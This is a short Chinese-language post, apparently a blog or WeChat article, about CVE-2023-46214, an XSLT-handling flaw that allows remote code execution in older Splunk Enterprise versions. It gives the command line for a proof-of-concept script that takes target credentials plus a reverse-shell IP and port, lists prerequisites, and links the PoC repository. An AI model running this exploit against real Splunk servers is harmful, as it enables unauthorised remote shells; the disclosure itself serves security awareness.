在低于 9.0.7 和 9.1.2 的 Splunk Enterprise 版本中,Splunk Enterprise 不会安全地清理用户提供的可扩展样式表语言转换 (XSLT)。这意味着攻击者可以上传恶意 XSLT,从而导致在 Splunk Enterprise 实例上远程执行代码。
CVE-2023-46214、SVD-2023-1104的概念验证利用
用法
Splunk 实例 URL、用户名、密码、反向 shell IP 和端口都是必需的命令行参数。例如:
$ python3 CVE-2023-46214.py --url <Splunk_URL> --username <Username> --password <Password> --ip <Reverse_Shell_IP> --port <Reverse_Shell_Port>
先决条件
具有 adddatamethods 上传权限的 Splunk 凭据
注意:可能有另一个向量,这正是我使用的
Splunk 未在 SHC 模式下运行
POC项目(请在虚拟测试环境中使用):
https://github.com/nathan31337/Splunk-RCE-poc
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里